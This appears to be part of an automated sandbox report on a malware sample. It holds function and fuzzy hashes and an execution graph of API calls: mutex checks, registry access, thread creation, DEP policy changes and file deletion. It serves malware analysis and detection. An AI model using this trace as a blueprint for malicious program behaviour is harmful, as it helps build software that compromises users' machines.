                              • String ID: 4'p$4'p$L4p$L4p$L4p$L4p$L4p$L4p$`8B$`8B$`8B$$p$$p
                              • API String ID: 0-3283512446
                              • Opcode ID: f38667e643db6fc8969fd1c8802334d3d02017eefd20824ba11767d98dcbe5b9
                              • Instruction ID: fa50f169c5481e0ed43596fdab29f90a6ac5b585b9242a99b632bb824aa16102
                              • Opcode Fuzzy Hash: f38667e643db6fc8969fd1c8802334d3d02017eefd20824ba11767d98dcbe5b9
                              • Instruction Fuzzy Hash: 95E10739B00244DFCB599E68D850B6FBBB2AB84310F58846FD9418B391CB79DD41CB9A
                              Function 004C4020 Relevance: 10.2, Strings: 8, Instructions: 202COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$$p$$p$$p$$p$$p$$p
                              • API String ID: 0-2834719986
                              • Opcode ID: eaeaf0c299210d72d7f311e809960c0f334e2d7f9cb68e9109b0de3de5e4e7d9
                              • Instruction ID: 12ddd13b4bfb329901170b5803a188ab249f01123da63558209191e3c1433da8
                              • Opcode Fuzzy Hash: eaeaf0c299210d72d7f311e809960c0f334e2d7f9cb68e9109b0de3de5e4e7d9
                              • Instruction Fuzzy Hash: 2A6136397042408FC7A49B699920B7BBFA2AFD1311F28806FD595CB341DE39CC42C3A6
                              Function 004C05C8 Relevance: 7.7, Strings: 6, Instructions: 206COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: L4p$L4p$L4p$\9B$\9B$\9B
                              • API String ID: 0-663692511
                              • Opcode ID: 65fbfc794f6fde4c53ad8f67b44f9b8102793fab317ff5908cb905634d499a08
                              • Instruction ID: 8466f5d3b4edf322b5052b06c852cf6a25a472b55943117705089fe7e5b019d5
                              • Opcode Fuzzy Hash: 65fbfc794f6fde4c53ad8f67b44f9b8102793fab317ff5908cb905634d499a08
                              • Instruction Fuzzy Hash: 54614838700254DFCB599E28D850BAF7BB2AFC1310F14846BE9558B391DB78DD41CBA6
                              Function 004C1B58 Relevance: 7.7, Strings: 6, Instructions: 188COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: $p$$p$$p$$p$$p$$p
                              • API String ID: 0-3402276426
                              • Opcode ID: d2a1f126c0851dabbf2d9f99f69ddcd53e6b84279ea35af5ed2970ca9667aa0e
                              • Instruction ID: 82e03f46613a7a01cb40b4a08b2c6eafae21e2b6cbd3da88560d43e3bcc4692e
                              • Opcode Fuzzy Hash: d2a1f126c0851dabbf2d9f99f69ddcd53e6b84279ea35af5ed2970ca9667aa0e
                              • Instruction Fuzzy Hash: B351F03A7042018BCBA49A699401B6BBBA5ABC6310F2884AFD545C7362EA79DC41C7A5
                              Function 004C49A8 Relevance: 6.4, Strings: 5, Instructions: 126COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$$p$$p$$p
                              • API String ID: 0-2334450948
                              • Opcode ID: c729a7b3c0e4725d785ff80a6fe2119a12c41b756c122d7b1f7391b6dba9eb04
                              • Instruction ID: 507f4704e2bc909df31588421355bff1dce5014340f9d5f132e64bf209a0258f
                              • Opcode Fuzzy Hash: c729a7b3c0e4725d785ff80a6fe2119a12c41b756c122d7b1f7391b6dba9eb04
                              • Instruction Fuzzy Hash: EE41283A704211DFCB694A29C620B7BBBE1ABC1311F68806FD8518B251EB79DD02C75A
                              Function 004C05A9 Relevance: 6.4, Strings: 5, Instructions: 123COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: L4p$L4p$L4p$\9B$\9B
                              • API String ID: 0-1168189598
                              • Opcode ID: 5443889bbd7ff94294b237e982c996d610f2517d16daf7fb699b3e0315158e83
                              • Instruction ID: ac11d5a6358efdd60c582b021bb83f5cfaf8a755037577b21382f50d549159e2
                              • Opcode Fuzzy Hash: 5443889bbd7ff94294b237e982c996d610f2517d16daf7fb699b3e0315158e83
                              • Instruction Fuzzy Hash: A641A438600248EFDB698F14C844FAF7BB6AF81310F19806BE8155B291D7B8ED95CF59
                              Function 004C0968 Relevance: 5.2, Strings: 4, Instructions: 192COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 8#g$8#g$tPp$tPp
                              • API String ID: 0-4172500115
                              • Opcode ID: 463bd8a8250119811b69feb8abb0a905d445422f5c503e8bd35d183887479e5c
                              • Instruction ID: 4b5319fea8b79c6f438848ee8823040ca5ef958112aaa426641506e53b276883
                              • Opcode Fuzzy Hash: 463bd8a8250119811b69feb8abb0a905d445422f5c503e8bd35d183887479e5c
                              • Instruction Fuzzy Hash: 7A510139704340DFD7688B698840F7BBBA2ABC1310F28842FE5498B392DA76DC81C765
                              Function 004C18D0 Relevance: 5.1, Strings: 4, Instructions: 97COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$X:B$X:B
                              • API String ID: 0-3128645598
                              • Opcode ID: 75f7383e000fbe92004a0a952110e481e78c3806c32a6caaf25d2be17f4832a7
                              • Instruction ID: 4ffac99b8f34a4fda3784017656d4e0dc203408aff3b4700a9e0b4065e9021c8
                              • Opcode Fuzzy Hash: 75f7383e000fbe92004a0a952110e481e78c3806c32a6caaf25d2be17f4832a7
                              • Instruction Fuzzy Hash: 3C2109757003006BC7645A6CC860F7ABAD79BC6351F64803EE589CB3A2CEB5DC42C7A5
                              Function 004C1B39 Relevance: 5.1, Strings: 4, Instructions: 79COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: $p$$p$$p$$p
                              • API String ID: 0-3121760203
                              • Opcode ID: 6767c99825b704db13a67921a4f6281485289d9c1bcc999838bd7aa4fd2c6d61
                              • Instruction ID: f205e25c8915fe8f09f5ad639d2633b43e4f1fdd9c0fd5c8250a7e7a1234df48
                              • Opcode Fuzzy Hash: 6767c99825b704db13a67921a4f6281485289d9c1bcc999838bd7aa4fd2c6d61
                              • Instruction Fuzzy Hash: BD21E1399042019FDBA48F148841F76BBB1AF92310F2940AFE84487363F779DD41CB9A

                              Execution Graph

                              Execution Coverage:4.5%
                              Dynamic/Decrypted Code Coverage:0%
                              Signature Coverage:4.7%
                              Total number of Nodes:1487
                              Total number of Limit Nodes:51
                              execution_graph 47241 445847 47242 445852 47241->47242 47244 44587b 47242->47244 47246 445877 47242->47246 47247 448a84 47242->47247 47254 44589f DeleteCriticalSection 47244->47254 47255 4484ca 47247->47255 47250 448ac9 InitializeCriticalSectionAndSpinCount 47251 448ab4 47250->47251 47262 434fcb 47251->47262 47253 448ae0 47253->47242 47254->47246 47256 4484f6 47255->47256 47257 4484fa 47255->47257 47256->47257 47261 44851a 47256->47261 47269 448566 47256->47269 47257->47250 47257->47251 47259 448526 GetProcAddress 47260 448536 __crt_fast_encode_pointer 47259->47260 47260->47257 47261->47257 47261->47259 47263 434fd6 IsProcessorFeaturePresent 47262->47263 47264 434fd4 47262->47264 47266 435018 47263->47266 47264->47253 47276 434fdc SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 47266->47276 47268 4350fb 47268->47253 47270 448587 LoadLibraryExW 47269->47270 47274 44857c 47269->47274 47271 4485a4 GetLastError 47270->47271 47272 4485bc 47270->47272 47271->47272 47275 4485af LoadLibraryExW 47271->47275 47273 4485d3 FreeLibrary 47272->47273 47272->47274 47273->47274 47274->47256 47275->47272 47276->47268 47277 434887 47278 434893 ___FrameUnwindToState 47277->47278 47304 434596 47278->47304 47280 43489a 47282 4348c3 47280->47282 47610 4349f9 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_get_show_window_mode 47280->47610 47290 434902 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 47282->47290 47315 444251 47282->47315 47285 4348e2 ___FrameUnwindToState 47287 434962 47323 434b14 47287->47323 47290->47287 47611 4433e7 36 API calls 4 library calls 47290->47611 47297 434984 47298 43498e 47297->47298 47613 44341f 28 API calls _Atexit 47297->47613 47300 434997 47298->47300 47614 4433c2 28 API calls _Atexit 47298->47614 47615 43470d 13 API calls 2 library calls 47300->47615 47303 43499f 47303->47285 47305 43459f 47304->47305 47616 434c52 IsProcessorFeaturePresent 47305->47616 47307 4345ab 47617 438f31 47307->47617 47309 4345b0 47314 4345b4 47309->47314 47626 4440bf 47309->47626 47312 4345cb 47312->47280 47314->47280 47316 444268 47315->47316 47317 434fcb TranslatorGuardHandler 5 API calls 47316->47317 47318 4348dc 47317->47318 47318->47285 47319 4441f5 47318->47319 47322 444224 47319->47322 47320 434fcb TranslatorGuardHandler 5 API calls 47321 44424d 47320->47321 47321->47290 47322->47320 47676 436e90 47323->47676 47326 434968 47327 4441a2 47326->47327 47678 44f059 47327->47678 47329 434971 47332 40e9c5 47329->47332 47330 4441ab 47330->47329 47682 446815 36 API calls 47330->47682 47853 41cb50 LoadLibraryA GetProcAddress 47332->47853 47334 40e9e1 GetModuleFileNameW 47858 40f3c3 47334->47858 47336 40e9fd 47873 4020f6 47336->47873 47339 4020f6 28 API calls 47340 40ea1b 47339->47340 47879 41be1b 47340->47879 47344 40ea2d 47905 401e8d 47344->47905 47346 40ea36 47347 40ea93 47346->47347 47348 40ea49 47346->47348 47911 401e65 47347->47911 48180 40fbb3 118 API calls 47348->48180 47351 40eaa3 47355 401e65 22 API calls 47351->47355 47352 40ea5b 47353 401e65 22 API calls 47352->47353 47354 40ea67 47353->47354 48181 410f37 36 API calls __EH_prolog 47354->48181 47356 40eac2 47355->47356 47916 40531e 47356->47916 47359 40ea79 48182 40fb64 78 API calls 47359->48182 47360 40ead1 47921 406383 47360->47921 47363 40ea82 48183 40f3b0 71 API calls 47363->48183 47370 401fd8 11 API calls 47372 40eefb 47370->47372 47371 401fd8 11 API calls 47373 40eafb 47371->47373 47612 4432f6 GetModuleHandleW 47372->47612 47374 401e65 22 API calls 47373->47374 47375 40eb04 47374->47375 47938 401fc0 47375->47938 47377 40eb0f 47378 401e65 22 API calls 47377->47378 47379 40eb28 47378->47379 47380 401e65 22 API calls 47379->47380 47381 40eb43 47380->47381 47382 40ebae 47381->47382 48184 406c1e 47381->48184 47383 401e65 22 API calls 47382->47383 47389 40ebbb 47383->47389 47385 40eb70 47386 401fe2 28 API calls 47385->47386 47387 40eb7c 47386->47387 47390 401fd8 11 API calls 47387->47390 47388 40ec02 47942 40d069 47388->47942 47389->47388 47395 413549 3 API calls 47389->47395 47391 40eb85 47390->47391 48189 413549 RegOpenKeyExA 47391->48189 47393 40ec08 47394 40ea8b 47393->47394 47945 41b2c3 47393->47945 47394->47370 47401 40ebe6 47395->47401 47399 40ec23 47402 40ec76 47399->47402 47962 407716 47399->47962 47400 40f34f 48267 4139a9 30 API calls 47400->48267 47401->47388 48192 4139a9 30 API calls 47401->48192 47405 401e65 22 API calls 47402->47405 47408 40ec7f 47405->47408 47407 40f365 48268 412475 65 API calls ___scrt_get_show_window_mode 47407->48268 47416 40ec90 47408->47416 47417 40ec8b 47408->47417 47411 40ec42 48193 407738 30 API calls 47411->48193 47412 40ec4c 47414 401e65 22 API calls 47412->47414 47426 40ec55 47414->47426 47415 40f36f 47419 41bc5e 28 API calls 47415->47419 47422 401e65 22 API calls 47416->47422 48196 407755 CreateProcessA CloseHandle CloseHandle ___scrt_get_show_window_mode 47417->48196 47418 40ec47 48194 407260 98 API calls 47418->48194 47423 40f37f 47419->47423 47424 40ec99 47422->47424 48072 413a23 RegOpenKeyExW 47423->48072 47966 41bc5e 47424->47966 47426->47402 47430 40ec71 47426->47430 47427 40eca4 47970 401f13 47427->47970 48195 407260 98 API calls 47430->48195 47434 401f09 11 API calls 47436 40f39c 47434->47436 47438 401f09 11 API calls 47436->47438 47440 40f3a5 47438->47440 47439 401e65 22 API calls 47442 40ecc1 47439->47442 48075 40dd42 47440->48075 47445 401e65 22 API calls 47442->47445 47447 40ecdb 47445->47447 47446 40f3af 47448 401e65 22 API calls 47447->47448 47449 40ecf5 47448->47449 47450 401e65 22 API calls 47449->47450 47451 40ed0e 47450->47451 47453 401e65 22 API calls 47451->47453 47483 40ed7b 47451->47483 47452 40ed8a 47454 40ed93 47452->47454 47458 40ee0f ___scrt_get_show_window_mode 47452->47458 47457 40ed23 _wcslen 47453->47457 47455 401e65 22 API calls 47454->47455 47456 40ed9c 47455->47456 47459 401e65 22 API calls 47456->47459 47461 401e65 22 API calls 47457->47461 47457->47483 47982 413947 47458->47982 47462 40edae 47459->47462 47460 40ef06 ___scrt_get_show_window_mode 48257 4136f8 RegOpenKeyExA 47460->48257 47464 40ed3e 47461->47464 47465 401e65 22 API calls 47462->47465 47467 401e65 22 API calls 47464->47467 47468 40edc0 47465->47468 47466 40ef51 47471 401e65 22 API calls 47466->47471 47469 40ed53 47467->47469 47470 401e65 22 API calls 47468->47470 48197 40da34 47469->48197 47472 40ede9 47470->47472 47473 40ef76 47471->47473 47477 401e65 22 API calls 47472->47477 47992 402093 47473->47992 47476 401f13 28 API calls 47479 40ed72 47476->47479 47481 40edfa 47477->47481 47480 401f09 11 API calls 47479->47480 47480->47483 48255 40cdf9 45 API calls _wcslen 47481->48255 47482 40ef88 47998 41376f RegCreateKeyA 47482->47998 47483->47452 47483->47460 47487 40eea3 ctype 47492 401e65 22 API calls 47487->47492 47488 40ee0a 47488->47458 47490 401e65 22 API calls 47491 40efaa 47490->47491 48004 43baac 47491->48004 47493 40eeba 47492->47493 47493->47466 47497 40eece 47493->47497 47496 40efc1 48260 41cd9b 87 API calls ___scrt_get_show_window_mode 47496->48260 47499 401e65 22 API calls 47497->47499 47498 40efe4 47503 402093 28 API calls 47498->47503 47501 40eed7 47499->47501 47504 41bc5e 28 API calls 47501->47504 47502 40efc8 CreateThread 47502->47498 49041 41d45d 10 API calls 47502->49041 47505 40eff9 47503->47505 47506 40eee3 47504->47506 47508 402093 28 API calls 47505->47508 48256 40f474 104 API calls 47506->48256 47509 40f008 47508->47509 48008 41b4ef 47509->48008 47510 40eee8 47510->47466 47512 40eeef 47510->47512 47512->47394 47514 401e65 22 API calls 47515 40f019 47514->47515 47516 401e65 22 API calls 47515->47516 47517 40f02b 47516->47517 47518 401e65 22 API calls 47517->47518 47519 40f04b 47518->47519 47520 43baac _strftime 40 API calls 47519->47520 47521 40f058 47520->47521 47522 401e65 22 API calls 47521->47522 47523 40f063 47522->47523 47524 401e65 22 API calls 47523->47524 47525 40f074 47524->47525 47526 401e65 22 API calls 47525->47526 47527 40f089 47526->47527 47528 401e65 22 API calls 47527->47528 47529 40f09a 47528->47529 47530 40f0a1 StrToIntA 47529->47530 48032 409de4 47530->48032 47533 401e65 22 API calls 47534 40f0bc 47533->47534 47535 40f101 47534->47535 47536 40f0c8 47534->47536 47538 401e65 22 API calls 47535->47538 48261 4344ea 22 API calls 2 library calls 47536->48261 47540 40f111 47538->47540 47539 40f0d1 47541 401e65 22 API calls 47539->47541 47543 40f159 47540->47543 47544 40f11d 47540->47544 47542 40f0e4 47541->47542 47545 40f0eb CreateThread 47542->47545 47547 401e65 22 API calls 47543->47547 48262 4344ea 22 API calls 2 library calls 47544->48262 47545->47535 49039 419fb4 103 API calls 2 library calls 47545->49039 47549 40f162 47547->47549 47548 40f126 47550 401e65 22 API calls 47548->47550 47552 40f1cc 47549->47552 47553 40f16e 47549->47553 47551 40f138 47550->47551 47556 40f13f CreateThread 47551->47556 47554 401e65 22 API calls 47552->47554 47555 401e65 22 API calls 47553->47555 47557 40f1d5 47554->47557 47558 40f17e 47555->47558 47556->47543 49038 419fb4 103 API calls 2 library calls 47556->49038 47559 40f1e1 47557->47559 47560 40f21a 47557->47560 47561 401e65 22 API calls 47558->47561 47563 401e65 22 API calls 47559->47563 48057 41b60d 47560->48057 47564 40f193 47561->47564 47566 40f1ea 47563->47566 48263 40d9e8 31 API calls 47564->48263 47571 401e65 22 API calls 47566->47571 47567 401f13 28 API calls 47568 40f22e 47567->47568 47570 401f09 11 API calls 47568->47570 47573 40f237 47570->47573 47574 40f1ff 47571->47574 47572 40f1a6 47575 401f13 28 API calls 47572->47575 47576 40f240 SetProcessDEPPolicy 47573->47576 47577 40f243 CreateThread 47573->47577 47584 43baac _strftime 40 API calls 47574->47584 47578 40f1b2 47575->47578 47576->47577 47579 40f264 47577->47579 47580 40f258 CreateThread 47577->47580 49010 40f7a7 47577->49010 47581 401f09 11 API calls 47578->47581 47582 40f279 47579->47582 47583 40f26d CreateThread 47579->47583 47580->47579 49040 4120f7 138 API calls 47580->49040 47585 40f1bb CreateThread 47581->47585 47587 40f2cc 47582->47587 47589 402093 28 API calls 47582->47589 47583->47582 49042 4126db 38 API calls ___scrt_get_show_window_mode 47583->49042 47586 40f20c 47584->47586 47585->47552 49037 401be9 50 API calls _strftime 47585->49037 48264 40c162 7 API calls 47586->48264 48069 4134ff RegOpenKeyExA 47587->48069 47590 40f29c 47589->47590 48265 4052fd 28 API calls 47590->48265 47596 40f2ed 47597 41bc5e 28 API calls 47596->47597 47599 40f2fd 47597->47599 48266 41361b 31 API calls 47599->48266 47604 40f313 47605 401f09 11 API calls 47604->47605 47608 40f31e 47605->47608 47606 40f346 DeleteFileW 47607 40f34d 47606->47607 47606->47608 47607->47415 47608->47415 47608->47606 47609 40f334 Sleep 47608->47609 47609->47608 47610->47280 47611->47287 47612->47297 47613->47298 47614->47300 47615->47303 47616->47307 47618 438f36 ___vcrt_initialize_pure_virtual_call_handler ___vcrt_initialize_winapi_thunks 47617->47618 47630 43a43a 47618->47630 47622 438f4c 47623 438f57 47622->47623 47644 43a476 DeleteCriticalSection 47622->47644 47623->47309 47625 438f44 47625->47309 47672 44fb68 47626->47672 47629 438f5a 8 API calls 3 library calls 47629->47314 47631 43a443 47630->47631 47633 43a46c 47631->47633 47634 438f40 47631->47634 47645 438e7f 47631->47645 47650 43a476 DeleteCriticalSection 47633->47650 47634->47625 47636 43a3ec 47634->47636 47665 438d94 47636->47665 47638 43a3f6 47639 43a401 47638->47639 47670 438e42 6 API calls try_get_function 47638->47670 47639->47622 47641 43a40f 47642 43a41c 47641->47642 47671 43a41f 6 API calls ___vcrt_FlsFree 47641->47671 47642->47622 47644->47625 47651 438c73 47645->47651 47648 438eb6 InitializeCriticalSectionAndSpinCount 47649 438ea2 47648->47649 47649->47631 47650->47634 47652 438ca3 47651->47652 47653 438ca7 47651->47653 47652->47653 47657 438cc7 47652->47657 47658 438d13 47652->47658 47653->47648 47653->47649 47655 438cd3 GetProcAddress 47656 438ce3 __crt_fast_encode_pointer 47655->47656 47656->47653 47657->47653 47657->47655 47659 438d30 47658->47659 47660 438d3b LoadLibraryExW 47658->47660 47659->47652 47661 438d57 GetLastError 47660->47661 47662 438d6f 47660->47662 47661->47662 47663 438d62 LoadLibraryExW 47661->47663 47662->47659 47664 438d86 FreeLibrary 47662->47664 47663->47662 47664->47659 47666 438c73 try_get_function 5 API calls 47665->47666 47667 438dae 47666->47667 47668 438dc6 TlsAlloc 47667->47668 47669 438db7 47667->47669 47669->47638 47670->47641 47671->47639 47675 44fb81 47672->47675 47673 434fcb TranslatorGuardHandler 5 API calls 47674 4345bd 47673->47674 47674->47312 47674->47629 47675->47673 47677 434b27 GetStartupInfoW 47676->47677 47677->47326 47679 44f06b 47678->47679 47680 44f062 47678->47680 47679->47330 47683 44ef58 47680->47683 47682->47330 47703 448215 GetLastError 47683->47703 47685 44ef65 47724 44f077 47685->47724 47687 44ef6d 47733 44ecec 47687->47733 47692 44efc7 47758 446782 20 API calls __dosmaperr 47692->47758 47696 44ef84 47696->47679 47697 44efc2 47757 4405dd 20 API calls _Atexit 47697->47757 47699 44f00b 47699->47692 47760 44ebc2 20 API calls 47699->47760 47700 44efdf 47700->47699 47759 446782 20 API calls __dosmaperr 47700->47759 47704 448237 47703->47704 47705 44822b 47703->47705 47762 445af3 20 API calls 3 library calls 47704->47762 47761 4487bc 11 API calls 2 library calls 47705->47761 47708 448231 47708->47704 47710 448280 SetLastError 47708->47710 47709 448243 47715 44824b 47709->47715 47764 448812 11 API calls 2 library calls 47709->47764 47710->47685 47713 448260 47713->47715 47716 448267 47713->47716 47714 448251 47718 44828c SetLastError 47714->47718 47763 446782 20 API calls __dosmaperr 47715->47763 47765 448087 20 API calls _Atexit 47716->47765 47767 4460f4 36 API calls 4 library calls 47718->47767 47719 448272 47766 446782 20 API calls __dosmaperr 47719->47766 47722 448298 47723 448279 47723->47710 47723->47718 47725 44f083 ___FrameUnwindToState 47724->47725 47726 448215 _Atexit 36 API calls 47725->47726 47731 44f08d 47726->47731 47728 44f111 ___FrameUnwindToState 47728->47687 47731->47728 47768 4460f4 36 API calls 4 library calls 47731->47768 47769 445888 EnterCriticalSection 47731->47769 47770 446782 20 API calls __dosmaperr 47731->47770 47771 44f108 LeaveCriticalSection std::_Lockit::~_Lockit 47731->47771 47772 43a7b7 47733->47772 47736 44ed0d GetOEMCP 47738 44ed36 47736->47738 47737 44ed1f 47737->47738 47739 44ed24 GetACP 47737->47739 47738->47696 47740 446137 47738->47740 47739->47738 47741 446175 47740->47741 47745 446145 ___crtLCMapStringA 47740->47745 47783 4405dd 20 API calls _Atexit 47741->47783 47742 446160 RtlAllocateHeap 47744 446173 47742->47744 47742->47745 47744->47692 47747 44f119 47744->47747 47745->47741 47745->47742 47782 442f80 7 API calls 2 library calls 47745->47782 47748 44ecec 38 API calls 47747->47748 47749 44f138 47748->47749 47752 44f189 IsValidCodePage 47749->47752 47754 44f13f 47749->47754 47756 44f1ae ___scrt_get_show_window_mode 47749->47756 47750 434fcb TranslatorGuardHandler 5 API calls 47751 44efba 47750->47751 47751->47697 47751->47700 47753 44f19b GetCPInfo 47752->47753 47752->47754 47753->47754 47753->47756 47754->47750 47784 44edc4 GetCPInfo 47756->47784 47757->47692 47758->47696 47759->47699 47760->47692 47761->47708 47762->47709 47763->47714 47764->47713 47765->47719 47766->47723 47767->47722 47768->47731 47769->47731 47770->47731 47771->47731 47773 43a7ca 47772->47773 47774 43a7d4 47772->47774 47773->47736 47773->47737 47774->47773 47775 448215 _Atexit 36 API calls 47774->47775 47776 43a7f5 47775->47776 47780 448364 36 API calls __Getctype 47776->47780 47778 43a80e 47781 448391 36 API calls _strftime 47778->47781 47780->47778 47781->47773 47782->47745 47783->47744 47790 44edfe 47784->47790 47793 44eea8 47784->47793 47787 434fcb TranslatorGuardHandler 5 API calls 47789 44ef54 47787->47789 47789->47754 47794 45112c 47790->47794 47792 44ae66 _swprintf 41 API calls 47792->47793 47793->47787 47795 43a7b7 _strftime 36 API calls 47794->47795 47796 45114c MultiByteToWideChar 47795->47796 47798 451222 47796->47798 47799 45118a 47796->47799 47800 434fcb TranslatorGuardHandler 5 API calls 47798->47800 47802 446137 ___crtLCMapStringA 21 API calls 47799->47802 47804 4511ab __alloca_probe_16 ___scrt_get_show_window_mode 47799->47804 47803 44ee5f 47800->47803 47801 45121c 47813 435e40 20 API calls _free 47801->47813 47802->47804 47808 44ae66 47803->47808 47804->47801 47806 4511f0 MultiByteToWideChar 47804->47806 47806->47801 47807 45120c GetStringTypeW 47806->47807 47807->47801 47809 43a7b7 _strftime 36 API calls 47808->47809 47810 44ae79 47809->47810 47814 44ac49 47810->47814 47813->47798 47815 44ac64 ___crtLCMapStringA 47814->47815 47816 44ac8a MultiByteToWideChar 47815->47816 47817 44acb4 47816->47817 47818 44ae3e 47816->47818 47821 446137 ___crtLCMapStringA 21 API calls 47817->47821 47824 44acd5 __alloca_probe_16 47817->47824 47819 434fcb TranslatorGuardHandler 5 API calls 47818->47819 47820 44ae51 47819->47820 47820->47792 47821->47824 47822 44ad8a 47850 435e40 20 API calls _free 47822->47850 47823 44ad1e MultiByteToWideChar 47823->47822 47825 44ad37 47823->47825 47824->47822 47824->47823 47841 448bb3 47825->47841 47829 44ad61 47829->47822 47833 448bb3 _strftime 11 API calls 47829->47833 47830 44ad99 47831 446137 ___crtLCMapStringA 21 API calls 47830->47831 47835 44adba __alloca_probe_16 47830->47835 47831->47835 47832 44ae2f 47849 435e40 20 API calls _free 47832->47849 47833->47822 47835->47832 47836 448bb3 _strftime 11 API calls 47835->47836 47837 44ae0e 47836->47837 47837->47832 47838 44ae1d WideCharToMultiByte 47837->47838 47838->47832 47839 44ae5d 47838->47839 47851 435e40 20 API calls _free 47839->47851 47842 4484ca _Atexit 5 API calls 47841->47842 47843 448bda 47842->47843 47846 448be3 47843->47846 47852 448c3b 10 API calls 3 library calls 47843->47852 47845 448c23 LCMapStringW 47845->47846 47847 434fcb TranslatorGuardHandler 5 API calls 47846->47847 47848 448c35 47847->47848 47848->47822 47848->47829 47848->47830 47849->47822 47850->47818 47851->47822 47852->47845 47854 41cb8f LoadLibraryA GetProcAddress 47853->47854 47855 41cb7f GetModuleHandleA GetProcAddress 47853->47855 47856 41cbb8 44 API calls 47854->47856 47857 41cba8 LoadLibraryA GetProcAddress 47854->47857 47855->47854 47856->47334 47857->47856 48269 41b4a8 FindResourceA 47858->48269 47862 40f3ed _Yarn 48279 4020b7 47862->48279 47865 401fe2 28 API calls 47866 40f413 47865->47866 47867 401fd8 11 API calls 47866->47867 47868 40f41c 47867->47868 47869 43bd51 new 21 API calls 47868->47869 47870 40f42d _Yarn 47869->47870 48285 406dd8 47870->48285 47872 40f460 47872->47336 47874 40210c 47873->47874 47875 4023ce 11 API calls 47874->47875 47876 402126 47875->47876 47877 402569 28 API calls 47876->47877 47878 402134 47877->47878 47878->47339 48322 4020df 47879->48322 47881 401fd8 11 API calls 47882 41bed0 47881->47882 47883 401fd8 11 API calls 47882->47883 47885 41bed8 47883->47885 47884 41bea0 47886 4041a2 28 API calls 47884->47886 47888 401fd8 11 API calls 47885->47888 47889 41beac 47886->47889 47892 40ea24 47888->47892 47893 401fe2 28 API calls 47889->47893 47890 41be2e 47890->47884 47891 401fe2 28 API calls 47890->47891 47896 401fd8 11 API calls 47890->47896 47900 41be9e 47890->47900 48326 4041a2 47890->48326 48329 41ce34 28 API calls 47890->48329 47891->47890 47901 40fb17 47892->47901 47894 41beb5 47893->47894 47895 401fd8 11 API calls 47894->47895 47897 41bebd 47895->47897 47896->47890 48330 41ce34 28 API calls 47897->48330 47900->47881 47902 40fb23 47901->47902 47904 40fb2a 47901->47904 48337 402163 11 API calls 47902->48337 47904->47344 47906 402163 47905->47906 47907 40219f 47906->47907 48338 402730 11 API calls 47906->48338 47907->47346 47909 402184 48339 402712 11 API calls std::_Deallocate 47909->48339 47913 401e6d 47911->47913 47912 401e75 47912->47351 47913->47912 48340 402158 22 API calls 47913->48340 47917 4020df 11 API calls 47916->47917 47918 40532a 47917->47918 48341 4032a0 47918->48341 47920 405346 47920->47360 48346 4051ef 47921->48346 47923 406391 48350 402055 47923->48350 47926 401fe2 47927 401ff1 47926->47927 47928 402039 47926->47928 47929 4023ce 11 API calls 47927->47929 47935 401fd8 47928->47935 47930 401ffa 47929->47930 47931 40203c 47930->47931 47932 402015 47930->47932 47933 40267a 11 API calls 47931->47933 48384 403098 28 API calls 47932->48384 47933->47928 47936 4023ce 11 API calls 47935->47936 47937 401fe1 47936->47937 47937->47371 47939 401fd2 47938->47939 47940 401fc9 47938->47940 47939->47377 48385 4025e0 28 API calls 47940->48385 48386 401fab 47942->48386 47944 40d073 CreateMutexA GetLastError 47944->47393 48387 41bfb7 47945->48387 47950 401fe2 28 API calls 47951 41b2ff 47950->47951 47952 401fd8 11 API calls 47951->47952 47953 41b307 47952->47953 47954 4135a6 31 API calls 47953->47954 47956 41b35d 47953->47956 47955 41b330 47954->47955 47957 41b33b StrToIntA 47955->47957 47956->47399 47958 41b349 47957->47958 47961 41b352 47957->47961 48395 41cf69 22 API calls 47958->48395 47960 401fd8 11 API calls 47960->47956 